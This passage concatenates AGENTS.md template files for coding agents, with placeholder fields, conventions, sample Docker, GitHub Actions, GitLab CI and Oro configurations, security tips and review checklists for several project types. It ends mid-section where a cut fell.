<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview {{SCOPE_DESCRIPTION}} <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment {{DOCKER_VERSION_LINE}} {{COMPOSE_VERSION_LINE}} {{REGISTRY_LINE}} <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START structure --> ## Directory structure ``` docker/ # or deploy/, .docker/, infrastructure/ Dockerfile → Main application image Dockerfile.dev → Development image (optional) docker-compose.yml → Local development stack docker-compose.prod.yml → Production overrides .dockerignore → Build context exclusions entrypoint.sh → Container entrypoint script healthcheck.sh → Health check script ``` <!-- AGENTS-GENERATED:END structure --> <!-- AGENTS-GENERATED:START commands --> ## Build & run | Task | Command | |------|---------| | Build image | `docker build -t app .` | | Run container | `docker run -p 8080:80 app` | | Start stack | `docker compose up -d` | | View logs | `docker compose logs -f` | | Stop stack | `docker compose down` | | Rebuild | `docker compose up -d --build` | <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START code-style --> ## Dockerfile conventions - **Multi-stage builds**: Separate build and runtime stages - **Non-root user**: Run as non-root user in production - **Layer caching**: Order instructions from least to most frequently changing - **Specific versions**: Pin base image versions (e.g., `node:20-alpine`, not `node:latest`) - **COPY over ADD**: Prefer COPY unless extracting archives - **.dockerignore**: Exclude unnecessary files from build context ### Naming conventions | Type | Convention | Example | |------|------------|---------| | Dockerfile | `Dockerfile` or `Dockerfile.<variant>` | `Dockerfile.dev` | | Compose file | `docker-compose.yml` or `compose.yml` | `docker-compose.prod.yml` | | Image tag | `<registry>/<name>:<version>` | `ghcr.io/org/app:1.2.3` | | Service name | lowercase with hyphens | `web-app`, `postgres-db` | <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START patterns --> ## Common patterns ### Multi-stage build ```dockerfile # Build stage FROM node:20-alpine AS builder WORKDIR /app COPY package*.json ./ RUN npm ci COPY . . RUN npm run build # Runtime stage FROM node:20-alpine AS runtime WORKDIR /app RUN addgroup -g 1001 appgroup && adduser -u 1001 -G appgroup -s /bin/sh -D appuser COPY --from=builder /app/dist ./dist COPY --from=builder /app/node_modules ./node_modules USER appuser EXPOSE 3000 CMD ["node", "dist/index.js"] ``` ### Health check ```dockerfile HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \ CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1 ``` ### Compose with profiles ```yaml services: app: build: . profiles: ["dev", "prod"] debug: build: context: . dockerfile: Dockerfile.dev profiles: ["dev"] ``` <!-- AGENTS-GENERATED:END patterns --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - **No secrets in images**: Use runtime environment variables or secret mounts - **Non-root execution**: Always use USER directive in production - **Minimal base images**: Prefer Alpine or distroless images - **Scan images**: Use `docker scout`, `trivy`, or similar tools - **Pin versions**: Avoid `latest` tags for reproducibility - **Read-only filesystem**: Use `--read-only` when possible <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist - [ ] Dockerfile builds successfully - [ ] Image runs without errors - [ ] Non-root user configured for production - [ ] .dockerignore excludes sensitive/unnecessary files - [ ] Health check configured - [ ] No secrets or credentials in image layers - [ ] Base image version pinned - [ ] Multi-stage build used where appropriate <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck - Docker docs: https://docs.docker.com - Dockerfile best practices: https://docs.docker.com/develop/develop-images/dockerfile_best-practices/ - Compose specification: https://docs.docker.com/compose/compose-file/ - Check existing Dockerfiles in this repo for patterns - Review root AGENTS.md for project-wide conventions <!-- AGENTS-GENERATED:END help --> <!-- AGENTS-GENERATED:START skill-reference --> ## Skill Reference > For Dockerfile best practices, multi-stage builds, and compose patterns: > **Invoke skill:** `docker-development` <!-- AGENTS-GENERATED:END skill-reference --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
documentation.md 3.5 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview {{SCOPE_DESCRIPTION}} <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment - Documentation may use a static site generator (check for config files) - Preview locally before committing major changes - Check for broken links and formatting issues <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START commands --> ## Building docs - Preview: check for `npm run docs`, `make docs`, or similar - Build: check for documentation build commands in root - Serve locally to verify rendering <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START structure --> ## Documentation structure - `README.md` - Entry point, project overview - `getting-started/` - Installation and quick start guides - `guides/` - How-to guides and tutorials - `reference/` - API documentation, configuration reference - `architecture/` - Design documents, ADRs - `contributing/` - Contribution guidelines <!-- AGENTS-GENERATED:END structure --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions - Use clear, concise language - Include code examples for technical concepts - Keep line length reasonable (~80-120 chars for readability) - Use consistent heading hierarchy (H1 for page title, H2 for sections) - Add alt text to images for accessibility - Use relative links for internal references - Keep code examples up-to-date with actual codebase <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START markdown --> ## Markdown best practices - Use fenced code blocks with language hints: ```python - Use tables for structured data comparison - Use admonitions for warnings/notes (if supported) - Keep paragraphs focused on one idea - Use bullet points for lists, numbered lists for sequences <!-- AGENTS-GENERATED:END markdown --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - Never include secrets, API keys, or credentials in examples - Use placeholder values: `your-api-key`, `example.com` - Review screenshots for sensitive information - Avoid documenting security vulnerabilities in detail <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist - [ ] Documentation matches current code behavior - [ ] Code examples are tested and work - [ ] Links are valid (no 404s) - [ ] Images have alt text - [ ] Spelling and grammar checked - [ ] Formatting renders correctly <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck - Check existing documentation for patterns - Review the style guide (if one exists) - Preview changes locally before committing - Check root AGENTS.md for project conventions <!-- AGENTS-GENERATED:END help --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
examples.md 3.4 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview {{SCOPE_DESCRIPTION}} <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment - Examples should be self-contained and runnable - Each example may have its own dependencies (check local README) - Examples should work with the current version of the main package <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START commands --> ## Running examples - Check each example's README for specific instructions - Most examples: `cd example-name && follow README` - Some examples may require environment setup <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START organization --> ## Example organization - One directory per example/use case - Each example has its own README explaining what it demonstrates - Keep examples focused on one concept or pattern - Name examples descriptively: `basic-usage/`, `advanced-config/`, `integration-with-x/` <!-- AGENTS-GENERATED:END organization --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions - Examples should be educational and well-commented - Use realistic but simplified scenarios - Show best practices, not shortcuts - Include error handling to demonstrate proper patterns - Keep examples minimal - only what's needed to demonstrate the concept - Avoid complex setups that distract from the main point <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START documentation --> ## Documentation requirements - Each example needs a README with: - What this example demonstrates - Prerequisites and setup steps - How to run the example - Expected output or behavior - Links to relevant documentation <!-- AGENTS-GENERATED:END documentation --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - Never include real API keys or credentials - Use environment variables for sensitive config: `export API_KEY=your-key` - Use sandbox/test environments when interacting with external services - Include warnings for examples that make real API calls <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist - [ ] Example runs successfully - [ ] README is complete and accurate - [ ] No hardcoded credentials - [ ] Code demonstrates best practices - [ ] Comments explain non-obvious parts - [ ] Example works with current package version <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck - Check similar examples for patterns - Ensure the example is self-contained - Test the example from scratch (fresh environment) - Check root AGENTS.md for project conventions <!-- AGENTS-GENERATED:END help --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
frontend-typescript.md 2.7 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview {{SCOPE_DESCRIPTION}} <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment {{NODE_VERSION_LINE}} {{FRAMEWORK_LINE}} {{PACKAGE_MANAGER_LINE}} {{ENV_VARS_LINE}} <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START commands --> ## Build & tests {{INSTALL_LINE}} {{TYPECHECK_LINE}} {{LINT_LINE}} {{FORMAT_LINE}} {{TEST_LINE}} {{BUILD_LINE}} {{DEV_LINE}} <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions {{TS_STRICT_LINE}} {{COMPONENT_STYLE_LINE}} - Naming: `camelCase` for variables/functions, `PascalCase` for components - File naming: `ComponentName.tsx`, `utilityName.ts` - Imports: group and sort (external, internal, types) {{CSS_APPROACH_LINE}} {{FRAMEWORK_CONVENTIONS}} <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - Sanitize user inputs before rendering - Raw HTML rendering only with sanitized content (use DOMPurify) - Validate environment variables at build time - Never expose secrets in client-side code - Use HTTPS for all API calls - Implement CSP headers - WCAG 2.2 AA accessibility compliance <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist {{TEST_CHECKLIST_LINE}} {{TYPECHECK_CHECKLIST_LINE}} {{LINT_CHECKLIST_LINE}} {{FORMAT_CHECKLIST_LINE}} - [ ] Accessibility: keyboard navigation works, ARIA labels present - [ ] Responsive: tested on mobile, tablet, desktop - [ ] Performance: no unnecessary re-renders <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck {{FRAMEWORK_DOCS_LINE}} - Review TypeScript handbook: https://www.typescriptlang.org/docs/ - Check root AGENTS.md for project-wide conventions - Review existing components for patterns <!-- AGENTS-GENERATED:END help --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
github-actions.md 5.2 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview {{SCOPE_DESCRIPTION}} <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Workflow files {{WORKFLOW_COUNT_LINE}} {{REUSABLE_WORKFLOWS_LINE}} <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START structure --> ## Directory structure ``` .github/ workflows/ ci.yml → Main CI workflow (lint, test, build) release.yml → Release/deploy workflow dependabot.yml → Dependency updates actions/ <action-name>/ → Composite actions (reusable) action.yml CODEOWNERS → Code ownership rules pull_request_template.md ``` <!-- AGENTS-GENERATED:END structure --> <!-- AGENTS-GENERATED:START code-style --> ## Workflow conventions - **Pin action versions** with full SHA, not tags (`uses: actions/checkout@abc123...`) - **Minimal permissions**: Use `permissions:` block, never use `permissions: write-all` - **Reusable workflows**: Extract common patterns to `.github/workflows/reusable-*.yml` - **Job dependencies**: Use `needs:` to express dependencies - **Caching**: Use `actions/cache` for dependencies (npm, composer, go) ### Naming conventions | Type | Convention | Example | |------|------------|---------| | Workflow file | `<purpose>.yml` | `ci.yml`, `release.yml` | | Workflow name | Title Case | `CI Pipeline`, `Release` | | Job ID | kebab-case | `build-and-test`, `deploy-staging` | | Step name | Sentence case | `Install dependencies` | | Secret | SCREAMING_SNAKE | `DEPLOY_TOKEN`, `NPM_TOKEN` | <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START patterns --> ## Common patterns ### Basic CI workflow ```yaml name: CI on: push: branches: [main] pull_request: branches: [main] permissions: contents: read jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 - uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0 with: node-version: '20' cache: 'npm' - run: npm ci - run: npm test ``` ### Matrix builds ```yaml jobs: test: strategy: matrix: os: [ubuntu-latest, macos-latest] node: ['18', '20', '22'] runs-on: ${{ matrix.os }} steps: - uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0 with: node-version: ${{ matrix.node }} ``` ### Reusable workflow ```yaml # .github/workflows/reusable-test.yml on: workflow_call: inputs: node-version: type: string default: '20' jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/setup-node@v4 with: node-version: ${{ inputs.node-version }} ``` ### Conditional deployment ```yaml jobs: deploy: if: github.ref == 'refs/heads/main' && github.event_name == 'push' needs: [test, build] environment: production steps: - name: Deploy run: ./deploy.sh ``` <!-- AGENTS-GENERATED:END patterns --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - **NEVER** expose secrets in logs: use `::add-mask::` for dynamic secrets - **Pin actions** to full commit SHA, not mutable tags - **Minimal permissions**: Start with `contents: read`, add only what's needed - **Environment protection**: Use environments with required reviewers for deploys - **Secret scanning**: Enable in repository settings - **Dependency review**: Use `actions/dependency-review-action` for PRs - **OIDC**: Prefer OIDC over long-lived secrets for cloud providers <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist - [ ] Actions pinned to full SHA (not tags) - [ ] Permissions block uses minimal required permissions - [ ] Secrets are not exposed in logs - [ ] Workflow syntax valid: `actionlint` or GitHub UI validation - [ ] Matrix strategy covers required versions/platforms - [ ] Caching configured for dependencies <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck - GitHub Actions docs: https://docs.github.com/en/actions - Workflow syntax: https://docs.github.com/en/actions/reference/workflow-syntax-for-github-actions - Action marketplace: https://github.com/marketplace?type=actions - Use `act` for local testing: https://github.com/nektos/act - Check existing workflows in this repo for patterns <!-- AGENTS-GENERATED:END help --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
gitlab-ci.md 4.6 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview {{SCOPE_DESCRIPTION}} <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Pipeline configuration {{JOB_COUNT_LINE}} {{INCLUDES_LINE}} <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START structure --> ## File structure ``` .gitlab-ci.yml → Main pipeline configuration .gitlab/ ci/ templates/ → Reusable job templates jobs/ → Job definitions (included) CODEOWNERS → Code ownership ``` <!-- AGENTS-GENERATED:END structure --> <!-- AGENTS-GENERATED:START code-style --> ## Pipeline conventions - Use **stages** to organize job execution order - **Extend templates** with `extends:` for DRY jobs - Use **rules:** instead of `only:/except:` (deprecated) - **Cache dependencies** between jobs - Use **artifacts** to pass files between stages ### Naming conventions | Type | Convention | Example | |------|------------|---------| | Stage | lowercase | `build`, `test`, `deploy` | | Job | kebab-case with stage prefix | `build-app`, `test-unit` | | Variable | SCREAMING_SNAKE | `DEPLOY_ENV`, `CI_TOKEN` | | Template | `.template-name` (dot prefix) | `.build-template` | <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START patterns --> ## Common patterns ### Basic pipeline structure ```yaml stages: - build - test - deploy variables: NODE_VERSION: "20" build-app: stage: build image: node:${NODE_VERSION} script: - npm ci - npm run build artifacts: paths: - dist/ expire_in: 1 hour test-unit: stage: test needs: [build-app] script: - npm test ``` ### Reusable job template ```yaml .deploy-template: stage: deploy image: alpine:latest before_script: - apk add --no-cache curl script: - ./deploy.sh $ENVIRONMENT deploy-staging: extends: .deploy-template variables: ENVIRONMENT: staging rules: - if: $CI_COMMIT_BRANCH == "main" deploy-production: extends: .deploy-template variables: ENVIRONMENT: production rules: - if: $CI_COMMIT_TAG when: manual ``` ### Matrix builds (parallel) ```yaml test: stage: test parallel: matrix: - NODE_VERSION: ["18", "20", "22"] OS: ["alpine", "debian"] image: node:${NODE_VERSION}-${OS} script: - npm test ``` ### Include external files ```yaml include: - local: '.gitlab/ci/templates.yml' - project: 'company/ci-templates' ref: main file: '/templates/docker.yml' - template: Security/SAST.gitlab-ci.yml ``` <!-- AGENTS-GENERATED:END patterns --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - Use **protected variables** for secrets (Settings > CI/CD > Variables) - **Mask variables** to prevent log exposure - Use **protected branches** for deployment jobs - Enable **SAST/DAST** scanning templates - **Pin Docker images** to specific versions/digests - Use `rules:` with `$CI_COMMIT_TAG` for release workflows - Review **merge request pipelines** before merging <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist - [ ] Pipeline syntax valid: use CI/CD > Editor > Validate - [ ] Jobs use appropriate stages - [ ] Sensitive variables are masked and protected - [ ] Artifacts have reasonable `expire_in` values - [ ] Cache keys are appropriate for the content - [ ] Rules conditions are correct (not using deprecated only/except) <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START help --> ## When stuck - GitLab CI docs: https://docs.gitlab.com/ee/ci/ - CI/CD YAML syntax: https://docs.gitlab.com/ee/ci/yaml/ - Predefined variables: https://docs.gitlab.com/ee/ci/variables/predefined_variables.html - Use the pipeline editor for validation: CI/CD > Editor - Check existing `.gitlab-ci.yml` patterns in this repo <!-- AGENTS-GENERATED:END help --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
oro-bundle.md 6.5 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview {{SCOPE_DESCRIPTION}} <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment {{INSTALL_LINE}} {{PHP_VERSION_LINE}} {{ORO_VERSION_LINE}} {{DATABASE_LINE}} {{SETUP_COMMANDS}} <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START structure --> ## Directory structure ``` src/ Acme/ Bundle/ MyBundle/ AcmeMyBundle.php → Bundle class Controller/ → Web and API controllers Entity/ → Doctrine entities Form/ → Form types Resources/ config/ oro/ → Oro-specific configs workflows.yml → Workflow definitions datagrids.yml → Datagrid definitions navigation.yml → Menu/navigation acl.yml → ACL definitions services.yml → Service definitions views/ → Twig templates translations/ → Translation files Migrations/ Schema/ → Doctrine schema migrations Data/ → Data migrations (fixtures) Api/ → API processors Async/ → Message queue processors EventListener/ → Event subscribers/listeners ImportExport/ → Import/export processors ``` <!-- AGENTS-GENERATED:END structure --> <!-- AGENTS-GENERATED:START commands --> ## Build & tests {{COMMANDS_TABLE}} <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions - **PSR-12** coding standard - Strict types: `declare(strict_types=1);` - Symfony best practices + Oro conventions - Use Oro's **config-based** approach (YAML over annotations when possible) - Dependency injection via `services.yml` - Entities extend Oro base classes when applicable ### Naming conventions | Type | Convention | Example | |------|------------|---------| | Bundle | `VendorNameBundle` | `AcmeCrmBundle` | | Entity | `PascalCase` | `CustomerOrder` | | Datagrid | `vendor-entity-grid` | `acme-orders-grid` | | Workflow | `vendor_entity_flow` | `acme_order_flow` | | API resource | `vendor_entity` | `acme_orders` | <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START patterns --> ## Oro-specific patterns ### Datagrids (datagrids.yml) ```yaml datagrids: acme-orders-grid: source: type: orm query: select: - o.id - o.orderNumber from: - { table: Acme\Bundle\OrderBundle\Entity\Order, alias: o } columns: orderNumber: label: acme.order.order_number.label sorters: columns: orderNumber: data_name: o.orderNumber filters: columns: orderNumber: type: string data_name: o.orderNumber ``` ### Workflows (workflows.yml) ```yaml workflows: acme_order_flow: entity: Acme\Bundle\OrderBundle\Entity\Order entity_attribute: order start_step: draft steps: draft: allowed_transitions: - submit submitted: allowed_transitions: - approve - reject transitions: submit: step_to: submitted ``` ### ACL (acl.yml) ```yaml acl: acme_order_view: type: entity class: Acme\Bundle\OrderBundle\Entity\Order permission: VIEW acme_order_edit: type: entity class: Acme\Bundle\OrderBundle\Entity\Order permission: EDIT ``` <!-- AGENTS-GENERATED:END patterns --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - **ACL**: Define permissions in `acl.yml`, check with `isGranted()` - **CSRF**: Oro handles automatically for forms - **API auth**: OAuth2 or WSSE authentication - **Input validation**: Use Symfony validators + Oro constraints - **Sensitive data**: Use Oro's `ConfigManager` for encrypted values - **SQL**: Always use Doctrine ORM/DBAL, never raw queries <!-- AGENTS-GENERATED:END security --> <!-- AGENTS-GENERATED:START checklist --> ## PR/commit checklist {{CACHE_CHECKLIST_LINE}} {{PHPSTAN_CHECKLIST_LINE}} {{UNIT_TEST_CHECKLIST_LINE}} - [ ] Schema migrations are reversible - [ ] Data migrations use `DependentFixtureInterface` for ordering - [ ] Datagrids tested in browser - [ ] Workflows tested end-to-end - [ ] ACL permissions defined for new entities - [ ] Translation keys added to `messages.en.yml` - [ ] API resources documented with NelmioApiDocBundle annotations <!-- AGENTS-GENERATED:END checklist --> <!-- AGENTS-GENERATED:START examples --> ## Patterns to Follow > **Prefer looking at real code in this repo over generic examples.** > See **Golden Samples** section above for files that demonstrate correct patterns. <!-- AGENTS-GENERATED:END examples --> <!-- AGENTS-GENERATED:START messaging --> ## Message Queue patterns ```php // Async processor class ProcessOrderProcessor implements MessageProcessorInterface { public function process(MessageInterface $message, SessionInterface $session): string { $data = JSON::decode($message->getBody()); // Process order... return self::ACK; } } // Producer usage $this->messageProducer->send(ProcessOrderTopic::NAME, ['orderId' => $order->getId()]); ``` <!-- AGENTS-GENERATED:END messaging --> <!-- AGENTS-GENERATED:START help --> ## When stuck - Oro Documentation: https://doc.oroinc.com - Backend Architecture: https://doc.oroinc.com/backend/architecture/ - Datagrids: https://doc.oroinc.com/backend/entities/data-grids/ - Workflows: https://doc.oroinc.com/backend/entities/workflows/ - API: https://doc.oroinc.com/api/ - Check existing bundles in `vendor/oro/` for patterns - Review root AGENTS.md for project-wide conventions <!-- AGENTS-GENERATED:END help --> ## House Rules (project-specific) <!-- This section is NOT auto-generated - add your project-specific rules here --> {{HOUSE_RULES}} -
oro-project.md 5.5 KB
<!-- Managed by agent: keep sections and order; edit content, not structure. Last updated: {{TIMESTAMP}} --> # AGENTS.md — {{SCOPE_NAME}} <!-- AGENTS-GENERATED:START overview --> ## Overview {{SCOPE_DESCRIPTION}} <!-- AGENTS-GENERATED:END overview --> <!-- AGENTS-GENERATED:START filemap --> ## Key Files {{SCOPE_FILE_MAP}} <!-- AGENTS-GENERATED:END filemap --> <!-- AGENTS-GENERATED:START golden-samples --> ## Golden Samples (follow these patterns) {{SCOPE_GOLDEN_SAMPLES}} <!-- AGENTS-GENERATED:END golden-samples --> <!-- AGENTS-GENERATED:START setup --> ## Setup & environment {{INSTALL_LINE}} {{PHP_VERSION_LINE}} {{ORO_VERSION_LINE}} {{DATABASE_LINE}} {{MESSAGE_QUEUE_LINE}} <!-- AGENTS-GENERATED:END setup --> <!-- AGENTS-GENERATED:START structure --> ## Directory structure ``` bin/ console → Symfony console entry point config/ bundles.php → Registered bundles config.yml → Main configuration config_dev.yml → Development overrides config_prod.yml → Production settings parameters.yml → Environment parameters security.yml → Security configuration oro/ bundles.yml → Oro bundle registration public/ index.php → Web entry point bundles/ → Bundle assets src/ Acme/ → Custom bundles Bundle/ MyBundle/ var/ cache/ → Cache files logs/ → Log files attachment/ → File attachments migrations/ Schema/ → Doctrine schema migrations Data/ → Data migrations/fixtures ``` <!-- AGENTS-GENERATED:END structure --> <!-- AGENTS-GENERATED:START commands --> ## Build & tests {{COMMANDS_TABLE}} <!-- AGENTS-GENERATED:END commands --> <!-- AGENTS-GENERATED:START code-style --> ## Code style & conventions - **PSR-12** coding standard - Strict types: `declare(strict_types=1);` - Symfony best practices + Oro conventions - Bundle-based architecture for all custom code - Use Oro's config-based approach (YAML over annotations) - Dependency injection via `services.yml` ### Project structure rules | Type | Location | Purpose | |------|----------|---------| | Custom bundles | `src/Vendor/Bundle/` | All custom functionality | | Overrides | `config/` | Configuration overrides | | Migrations | `migrations/` | Application-level migrations | | Assets | `public/bundles/` | Compiled/copied assets | <!-- AGENTS-GENERATED:END code-style --> <!-- AGENTS-GENERATED:START oro-commands --> ## Oro CLI commands ```bash # Installation & setup bin/console oro:install # Full installation bin/console oro:platform:update # Update after code changes # Cache management bin/console cache:clear # Clear cache bin/console oro:assets:install # Install bundle assets bin/console oro:localization:dump # Dump translations # Database & migrations bin/console doctrine:migrations:migrate # Run migrations bin/console oro:migration:data:load # Load data migrations # Message queue (required for Oro) bin/console oro:message-queue:consume # Process queue bin/console oro:cron # Run cron jobs # Development bin/console debug:router # List routes bin/console debug:container # Debug DI container ``` <!-- AGENTS-GENERATED:END oro-commands --> <!-- AGENTS-GENERATED:START message-queue --> ## Message Queue Oro requires a running message queue consumer for: - Email sending - Search indexing - Workflow processing - Data import/export **Development:** Run `bin/console oro:message-queue:consume` in terminal **Production:** Use supervisor or systemd to keep consumer running <!-- AGENTS-GENERATED:END message-queue --> <!-- AGENTS-GENERATED:START security --> ## Security & safety - **Parameters**: Use `parameters.yml` for 